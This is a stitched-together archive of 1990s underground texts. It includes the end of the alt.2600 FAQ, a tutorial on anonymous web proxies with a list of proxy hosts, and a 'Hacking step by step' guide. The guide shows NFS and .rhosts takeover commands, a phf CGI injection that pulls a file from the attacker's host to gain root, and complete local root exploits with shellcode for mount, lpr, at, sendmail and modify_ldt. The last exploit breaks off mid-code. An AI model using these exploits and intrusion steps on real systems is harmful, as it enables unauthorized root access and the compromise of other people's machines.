Guide to Understanding Design Documentation in Trusted Systems Dark Lavender Book NCSC-TG-008 A Guide to Understanding Trusted Distribution in Trusted Systems Venice Blue Book NCSC-TG-009 Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria Aqua Book NCSC-TG-010 A Guide to Understanding Security Modeling in Trusted Systems Dark Red Book NCSC-TG-011 Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation Pink Book NCSC-TG-013 Rating Maintenance Phase -- Program Document Purple Book NCSC-TG-014 Guidelines for Formal Verification Systems Brown Book NCSC-TG-015 A Guide to Understanding Trusted Facility Management Yellow-Green Book NCSC-TG-016 Guidelines for Writing Trusted Facility Manuals Light Blue NCSC-TG-017 A Guide to Understanding Identification and Authentication in Trusted Systems Light Blue Book NCSC-TG-018 A Guide to Understanding Object Reuse in Trusted Systems Blue Book NCSC-TG-019 Trusted Product Evaluation Questionnaire Gray Book NCSC-TG-020A Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System Lavender Book NCSC-TG-021 Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria Yellow Book NCSC-TG-022 A Guide to Understanding Trusted Recovery in Trusted Systems Bright Orange Book NCSC-TG-023 A Guide to Understandng Security Testing and Test Documentation in Trusted Systems Purple Book NCSC-TG-024 (Volume 1/4) A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements Purple Book NCSC-TG-024 (Volume 2/4) A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators Purple Book NCSC-TG-024 (Volume 3/4) A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial +Purple Book +NCSC-TG-024 (Volume 4/4) +A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's +Proposal Document - An Aid to Procurement Initiators and Contractors Green Book NCSC-TG-025 A Guide to Understanding Data Remanence in Automated Information Systems Hot Peach Book NCSC-TG-026 A Guide to Writing the Security Features User's Guide for Trusted Systems Turquiose Book NCSC-TG-027 A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems Violet Book NCSC-TG-028 Assessing Controlled Access Protection Blue Book NCSC-TG-029 Introduction to Certification and Accreditation Light Pink Book NCSC-TG-030 A Guide to Understanding Covert Channel Analysis of Trusted Systems C1 Technical Report-001 Computer Viruses: Prevention, Detection, and Treatment *C Technical Report 79-91 *Integrity in Automated Information Systems *C Technical Report 39-92 *The Design and Evaluation of INFOSEC systems: The Computer Security *Contributions to the Composition Discussion NTISSAM COMPUSEC/1-87 Advisory Memorandum on Office Automation Security Guideline -You can get your own free copy of any or all of the books by writing or calling: INFOSEC Awareness Division ATTN: X711/IAOC Fort George G. Meade, MD 20755-6000 Barbara Keller (410) 766-8729 If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out (typically a couple a year). [* == I have not personally seen this book] [+ == I have not personally seen this book, and I believe it may not] [ be available] Section E: 2600 ~~~~~~~~~~~~~~~ 01. What is alt.2600? Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.com created the group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic. 02. What does "2600" mean? 2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff. A note from Emmanuel Goldstein: "The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that point but there would be billing for the number already dialed up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way into another country's phone system which may be more open for exploration." 03. Are there on-line versions of 2600 available? No. 04. I can't find 2600 at any bookstores. What can I do? Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address. 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? A note from Emmanuel Goldstein: We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace. This is not uncommon in the publishing industry. The NY Times, for example, costs $156.50 at the newsstands, and $234.75 delivered to your door. Section F: Miscellaneous ~~~~~~~~~~~~~~~~~~~~~~~~ 01. What does XXX stand for? TLA Three Letter Acronym ACL Access Control List PIN Personal Identification Number TCB Trusted Computing Base ALRU Automatic Line Record Update AN Associated Number ARSB Automated Repair Service Bureau ATH Abbreviated Trouble History BOC Bell Operating Company BOR Basic Output Report BOSS Business Office Servicing System CA Cable COE Central Office Equipment COSMOS Computer System for Main Frame Operations CMC Construction Maintenance Center CNID Calling Number IDentification CO Central Office COCOT Customer Owned Coin Operated Telephone CRSAB Centralized Repair Service Answering Bureau DID Direct Inbound Dialing DDD Direct Distance Dialing ECC Enter Cable Change LD Long Distance LMOS Loop Maintenance Operations System MLT Mechanized Loop Testing NPA Numbering Plan Area PBX Private Branch Exchange POTS Plain Old Telephone Service RBOC Regional Bell Operating Company RSB Repair Service Bureau SS Special Service TAS Telephone Answering Service TH Trouble History TREAT Trouble Report Evaluation and Analysis Tool LOD Legion of Doom HFC Hell Fire Club TNO The New Order ACiD Ansi Creators in Demand CCi Cybercrime International FLT Fairlight iCE Insane Creators Enterprise iNC International Network of Crackers NTA The Nocturnal Trading Alliance PDX Paradox PE Public Enemy PSY Psychose QTX Quartex RZR Razor (1911) S!P Supr!se Productions TDT The Dream Team THG The Humble Guys THP The Hill People TRSI Tristar Red Sector Inc. UUDW Union of United Death Workers 02. How do I determine if I have a valid credit card number? Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool. For a card with an even number of digits, double every odd numbered digit and subtract 9 if the product is greater than 9. Add up all the even digits as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even numbered digits instead. 03. What is the layout of data on magnetic stripe cards? A standard card may have any of three tracks, or a combination of these tracks. Track 1 was the first track standardized. It was developed by the International Air Transportation Association (IATA) and is still reserved for their use. It is 210bpi with room for 79 characters. It includes the primary account number (up to 18 digits) and the name (up to 26 alphanumeric characters). Track 2 was developed by the American Bankers Association (ABA) for on-line financial transactions. It is 75bpi with room for 40 numeric characters. It includes the account number (up to 19 digits). Track 3 is also used for financial transactions. The difference is its read/write ability. It is 210bpi with room for 107 numeric digits. includes an enciphered PIN, country code, currency units, amount authorized, subsidiary account information and other restrictions. It For more information, read the ANSI/ISO 7811/1-5 standard. This document is available from the American Bankers Association. 04. What are the ethics of hacking? An excerpt from: Hackers: Heroes of the Computer Revolution by Steven Levy Access to computers -- and anything which might teach you something about the way the world works -- should be unlimited and total. Always yield to the Hands-On imperative. All information should be free. Mistrust Authority. Promote Decentralization. Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position. You can create art and beauty on a computer. Computers can change your life for the better. 05. Where can I get a copy of the alt.2600/#hack FAQ? Get it on FTP at: rahul.net /pub/lps/sysadmin/ rtfm.mit.edu /pub/usenet-by-group/alt.2600 clark.net /pub/jcase/ Get it on the World Wide Web at: http://www.engin.umich.edu/~jgotts/underground/hack-faq.html Get it on my BBS: Hacker's Haven (303)343-4053 EOT [----Stay anonymous on the web------] ..By MAx member of :MPD: (c) 1998 MAx [4d5044] Note..This tutorial will teach a average day user how to keep all his Esentual info limited so attacks from Hackers cant be made SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and everyone else who i should shout out too u know who u are. The topics.. 1.What are packets. 2.Getting a http proxy. 3.How http proxy work. 4.How to secrure http packets. 5.How to edit what o's and mozilla info send. 6.Getting a socket proxy. 7.How socket proxy work. 8.Cookies. 9.Final note. ----------------------------------------------------------------------1.What are packets. Packets are very simple on the net There are millions of user's now for secrurity and other reasons there must be ways of establishing difference between user's Thus is done by packets, Packets are used when ever u connect to a remote server/system Its identify's who is connecting. An example of a http packet.( [Connect from MAx.mpd.com] [206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December 2, 1998 at 14:34:45 ) Now ill tell u what it is saying if u dont know. *Note*(Http packets is the way u are sending info through the web browser whenever u connect to a server/mechine/site ) [connected from MAx.mpd.com]-This is my host [206.14.13.32]- is my ip (Mozilla/4.05)- is the version of mozilla im using (X11;I;Linux 2.0.32 i586)- Is The O's(operating system) And version of the o's im running [On december 2, 1998 at 14:34:45] - is day/year/time Now u know how it works this is one way Hackers get all the info they need on your computer to hack it. Now we dont want this anymore THus anonymous proxies where invented to give keep user's on the net secrure.Using anonymous proxies isnt 100% secrure as the hacker can still do means on getting your real ip/host/os ill talk about that later but it makes it very hard for a hacker to get your ip/host once behind a proxy. Now http isnt the only means of packets there are also socket packets which ill talk about later. 2.How http proxy work. A http proxy works like server it is actuelly and what it does is when setup in your browser when ever u want to go to sites.It will connect to there proxy server first then the proxy server conncts to the site u want to go to THus leaving no evendence of u on the site just the proxy server.(Dont worry once u setup a proxy dont think u always have to type in the proxy in first then go to there and type the site u want too go to. :)It dont work like that once u have entered the proxy settings in ya browser it will auto do the proxy for u all u have to do is surf the net.(Setting up a http proxy descussed later) 3. Getting a http proxy Http proxies are very easyly found on the net as there are many commited Http proxy server's around that are free. Ill give a list of some http proxies for your all sorry if your country proxy isn't here just search on the net for (Http proxy) and ull find one. ***Austria*** Port cache02.netway.at :80 mail.ppl.co.at :8080 speth08.wu-wien.ac.at :8080 pong.ping.at :8080 ***Australia*** proxy.gwbbs.net.au :80 chrome.one.net.au :8080 proxy.newave.net.au :8080 ws.edi.com.au :80 mimas.scu.edu.au :80 proxy.omcs.com.au :8080 jethro.meriden.pas.com.au:8080 albany.jrc.net.au :80 basil.acr.net.au :8080 ***Belgium*** cache-mar.belbone.be :80 ***Bulgaria*** conan.gocis.bg :8080 ***Brazil*** 200.250.14.5)ct-nt-02.cybertelecom.com.br :8080 sanan.com.br ***Canada*** :8080 proxy.collegemv.qc.ca :8080 srvprx.cspaysbleuets.qc.ca :80 valliere.csvalliere.qc.ca :80 keeper.albertc.on.ca :8080 cproxy1.justice.gc.ca :80 proxy.cslouis-hemon.qc.ca :8080 gateway.kwantlen.bc.ca :80 ***Switzerland*** cache1.worldcom.ch :8080 cache2.worldcom.ch :8080 cache3.worldcom.ch :8080 web-cache-2.cern.ch :80 proxy.span.ch :8080 gip-lausanne-nc.globalip.ch :80 gip-lausanne-cf2.globalip.ch :8080 gip-lausanne-cf1.globalip.ch :8080 proxy2.iso.ch :8080 proxy.iprolink.ch :80 ***China*** proxy.szptt.net.cn :8080 ***United States*** hpux.mesd.k12.or.us :8080 gatekeeper.ci.slc.ut.us :8080 episd.elpaso.k12.tx.us :8080 svc.logan.k12.ut.us :8001 proxy.eup.k12.mi.us :8080 svc.nues.k12.ut.us :8001 proxy.eup.k12.mi.us :8080 (207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80 homnibus.nvc.cc.ca.us :80 et.mohave.cc.az.us :80 (ok id say i gave out enough if ya local country not there go search the net and if cant find use another country one that is close to u) 4.How to secrure Http packets Like i said before this is a normal http packet ( [Connect from MAx.mpd.com] [206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December 2, 1998 at 14:34:45 ) Now to Make your ip and host anonymous to web browsing we are going to use http proxy with ya browser.THis is done by going to ya options and finding the info on proxy settings in thus put in all avalable places in proxy setting etc.ftp,http,secruity, Except leave sockets part blank THis isnt a socket proxy its a http Now after setting up a proxy in the proxy settings and putting in the port too.Our new packets will look like this. ( [Connect from The_proxies_host] [The_proxies_ip] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December 2, 1998 at 14:34:45 ) Now u might be thinking cool :) No longer have everdence of me on there server but dam they know my o's and version of mozilla later on ill descuse how to change that.U might also be thinking WOW now i can surf 100% secure on the net.U are not totally right.IF a hacker had a real grunge on u.He has now the proxy u are using there ip/host now if he wants to get your info that badly he would have to hack the proxy server comapare the log time of the time u loged to the hacker's site too the logs of your connection to the proxy server.THus is a real big job and if pick a good proxy server they will be very secure from attack's So your pritty much safe. 5.How to edit the o's and mozilla info send. Ok if your using Ie this is how u would do it. To see Original Settings GOTO HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginial Settings)) (Skip this Part here) GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion ProductName = Microsoft Windows 95 Version = Windows 95 GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform (Your Orignial Settings Here) = IEAK(Your Orignial Settings Here) Example GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform Myth [Unix-Base] = IEAKMyth [Unix-Base] *Note (this info on how to change the mozilla and version shown was given to me from Myth i didn't make it.) 6.Getting a socket proxy. Ok now socket proxies work like Http proxies the only diff is socket proxies are used with programs like (icq,mirc) And the packets are send through sockets not http.Getting a socket proxy is alot harder because Socket proxy server's have to be dedicated to a sertain program so its very limiting to the amount of user's he will get. Http is always used its using the web everyone uses it so http proxies are always going to be in need. TO find a socket proxy u can search the net typing in (Socket proxy) or try for sertain program's names like (Icq proxy). Hopefully u will get one socket proxies are useful as alot of attacks on user's are done by kids with nukes,spring,ping,smurf,etc etc And thus will anoy a user in mirc or from icq both these programs give any user possability to get a user's ip/host. thats why if u use these u will want a socket proxy. Alot of people go why dont u just use ident or jizz or something for mirc and icq.Well the reason u don't as there are expolits out there to crash spoofed hosts/ip for programs like jizz and ident a proxy is more stable way and more prevention then a spoofer program. User's guide __________________________ Well, howdi folks... I guess you are all wondering who's this guy (me) that's trying to show you a bit of everything... ? Well, I ain't telling you anything of that... Copyright, and other stuff like this (below). Copyright and stuff... ______________________ If you feel offended by this subject (hacking) or you think that you could do better, don't read the below information... This file is for educational purposes ONLY...;) I ain't responsible for any damages you made after reading this...(I'm very serious...) So this can be copied, but not modified (send me the changes, and if they are good, I'll include them ). Don't read it, 'cuz it might be illegal. I warned you... If you would like to continue, press <PgDown>. Intro: Hacking step by step. ________________________________________________________________________________ _ Well, this ain't exactely for begginers, but it'll have to do. What all hackers has to know is that there are 4 steps in hacking... Step 1: Getting access to site. Step 2: Hacking r00t. Step 3: Covering your traces. Step 4: Keeping that account. Ok. In the next pages we'll see exactely what I ment. Step 1: Getting access. _______ Well folks, there are several methods to get access to a site. I'll try to explain the most used ones. The first thing I do is see if the system has an export list: mysite:~>/usr/sbin/showmount -e victim.site.com RPC: Program not registered. If it gives a message like this one, then it's time to search another way in. What I was trying to do was to exploit an old security problem by most SUN OS's that could allow an remote attacker to add a .rhosts to a users home directory... (That was possible if the site had mounted their home directory. Let's see what happens... mysite:~>/usr/sbin/showmount -e victim1.site.com /usr victim2.site.com /home (everyone) /cdrom (everyone) mysite:~>mkdir /tmp/mount mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/ mysite:~>ls -sal /tmp/mount total 9 1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ 1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ 1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ 1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ 1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ 1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ 1 -rw------- 1 root root 1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ 100 1024 Oct 20 18:57 rapper/ 1 drwx------ 15 102 242 Mar 9 1997 sudoers Well, we wanna hack into rapper's home. mysite:~>id uid=0 euid=0 mysite:~>whoami root mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history forget it on the remote server... mysite:~>su - rapper and you might Welcome to rapper's user. mysite:~>ls -lsa /tmp/mount/ total 9 1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ 1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ 1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ 1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ 1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ 1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ 1 -rw------- 1 root root 1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ daemon 1024 Oct 20 18:57 rapper/ 1 drwx------ 15 rapper 242 Mar 9 1997 sudoers So we own this guy's home directory... mysite:~>echo "+ +" > rapper/.rhosts mysite:~>cd / mysite:~>rlogin victim1.site.com Welcome to Victim.Site.Com. SunOs ver....(crap). victim1:~$ This is the first method... Another method could be to see if the site has an open 80 port. That would mean that the site has a web page. (And that's very bad, 'cuz it usually it's vulnerable). Below I include the source of a scanner that helped me when NMAP wasn't written. (Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor). NMAP is a scanner that does even stealth scanning, so lots of systems won't record it. /* -*-C-*- tcpprobe.c */ /* tcpprobe - report on which tcp ports accept connections */ /* IO ERROR, error@axs.net, Sep 15, 1995 */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <netdb.h> #include <signal.h> int main(int argc, char **argv) { int probeport = 0; struct hostent *host; int err, i, net; struct sockaddr_in sa; if (argc != 2) { printf("Usage: %s hostname\n", argv[0]); exit(1); } for (i = 1; i < 1024; i++) { strncpy((char *)&sa, "", sizeof sa); sa.sin_family = AF_INET; if (isdigit(*argv[1])) sa.sin_addr.s_addr = inet_addr(argv[1]); else if ((host = gethostbyname(argv[1])) != 0) strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr); else { herror(argv[1]); exit(2); } sa.sin_port = htons(i); net = socket(AF_INET, SOCK_STREAM, 0); if (net < 0) { perror("\nsocket"); exit(2); } err = connect(net, (struct sockaddr *) &sa, sizeof sa); if (err < 0) { printf("%s %-5d %s\r", argv[1], i, strerror(errno)); fflush(stdout); } else { printf("%s %-5d accepted. \n", argv[1], i); if (shutdown(net, 2) < 0) { perror("\nshutdown"); exit(2); } } close(net); } printf(" \r"); fflush(stdout); return (0); } Well, now be very carefull with the below exploits, because they usually get logged. Besides, if you really wanna get a source file from /cgi-bin/ use this sintax : lynx http://www.victim1.com//cgi-bin/finger If you don't wanna do that, then do a : mysite:~>echo "+ +" > /tmp/rhosts mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+ /root/.rhosts" | nc -v - 20 victim1.site.com 80 then mysite:~>rlogin -l root victim1.site.com Welcome to Victim1.Site.Com. victim1:~# Or, maybe, just try to find out usernames and passwords... The usual users are "test", "guest", and maybe the owner of the site... I usually don't do such things, but you can... Or if the site is really old, use that (quote site exec) old bug for wu.ftpd. There are a lot of other exploits, like the remote exploits (innd, imap2, pop3, etc...) that you can find at rootshell.connectnet.com or at dhp.com/~fyodor. Enough about this topic. (besides, if you can finger the site, you can figgure out usernames and maybe by guessing passwords (sigh!) you could get access to the site). Step 2: Hacking r00t. ______ First you have to find the system it's running... a). LINUX ALL versions: A big bug for all linux versions is mount/umount and (maybe) lpr. /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/mount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } /*LPR exploit:I don't know the author...*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } b.) Version's 1.2.* to 1.3.2 NLSPATH env. variable exploit: /* It's really annoying for users and good for me... AT exploit gives only uid=0 and euid=your_usual_euid. */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define path "/usr/bin/at" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n"); setenv("NLSPATH",buff,1); execl(path, "at",NULL); } SENDMAIL exploit: (don't try to chmod a-s this one... :) ) /* SENDMAIL Exploit for Linux */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define path "/usr/bin/sendmail" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("SENDMAIL exploit discovered by me, _PHANTOM_ in 1997\n"); setenv("NLSPATH",buff,1); execl(path, "sendmail",NULL); } MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT) !!!) /* this is a hack of a hack. a valid System.map was needed to get this sploit to werk.. but not any longer.. This sploit will give you root if the modify_ldt bug werks.. which I beleive it does in any kernel before 1.3.20 .. QuantumG */ /* original code written by Morten Welinder. * * this required 2 hacks to work on the 1.2.13 kernel that I've tested on: * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed. * 2. the _task in the System.map file has no leading underscore. * I am not sure at what point these were changed, if you are * using this on a newer kernel compile with NEWERKERNEL defined. * -ReD */ #include <linux/ldt.h> #include <stdio.h> #include <linux/unistd.h> #include <signal.h> #ifdef NEWERKERNEL #include <asm/sigcontext.h> #endif #define __KERNEL__ #include <linux/sched.h> #include <linux/module.h> static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table); static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount) #define KERNEL_BASE 0xc0000000 /* ------------------------------------------------------------------------ */ static __inline__ unsigned char __farpeek (int seg, unsigned ofs) { unsigned char res; asm ("mov %w1,%%gs ; gs; movb (%2),%%al" : "=a" (res) : "r" (seg), "r" (ofs)); return res; } /* ------------------------------------------------------------------------ */ static __inline__ void __farpoke (int seg, unsigned ofs, unsigned char b) { asm ("mov %w0,%%gs ; gs; movb %b2,(%1)" : /* No results. */ : "r" (seg), "r" (ofs), "r" (b)); } /* ------------------------------------------------------------------------ */ void memgetseg (void *dst, int seg, const void *src, int size) { while (size-- > 0) *(char *)dst++ = __farpeek (seg, (unsigned)(src++)); } /* ------------------------------------------------------------------------ */ void memputseg (int seg, void *dst, const void *src, int size) { while (size-- > 0) __farpoke (seg, (unsigned)(dst++), *(char *)src++); } /* ------------------------------------------------------------------------ */ int main () { int stat, i,j,k; struct modify_ldt_ldt_s ldt_entry; FILE *syms; char line[100]; struct task_struct **task, *taskptr, thistask; struct kernel_sym blah[4096]; printf ("Bogusity checker for modify_ldt system call.\n"); printf ("Testing for page-size limit bug...\n"); ldt_entry.entry_number = 0; ldt_entry.base_addr = 0xbfffffff; ldt_entry.limit = 0; ldt_entry.seg_32bit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA; ldt_entry.read_exec_only = 0; ldt_entry.limit_in_pages = 1; ldt_entry.seg_not_present = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) /* Continue after reporting error. */ printf ("This bug has been fixed in your kernel.\n"); else { printf ("Shit happens: "); printf ("0xc0000000 - 0xc0000ffe is accessible.\n"); } printf ("Testing for expand-down limit bug...\n"); ldt_entry.base_addr = 0x00000000; ldt_entry.limit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK; ldt_entry.limit_in_pages = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) { printf ("This bug has been fixed in your kernel.\n"); return 1; } else { printf ("Shit happens: "); printf ("0x00000000 - 0xfffffffd is accessible.\n"); } i = get_kernel_syms(blah); k = i+10; for (j=0; j<i; j++) if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j; if (k==i+10) { printf("current not found!!!\n"); return(1); } j=k; taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value); 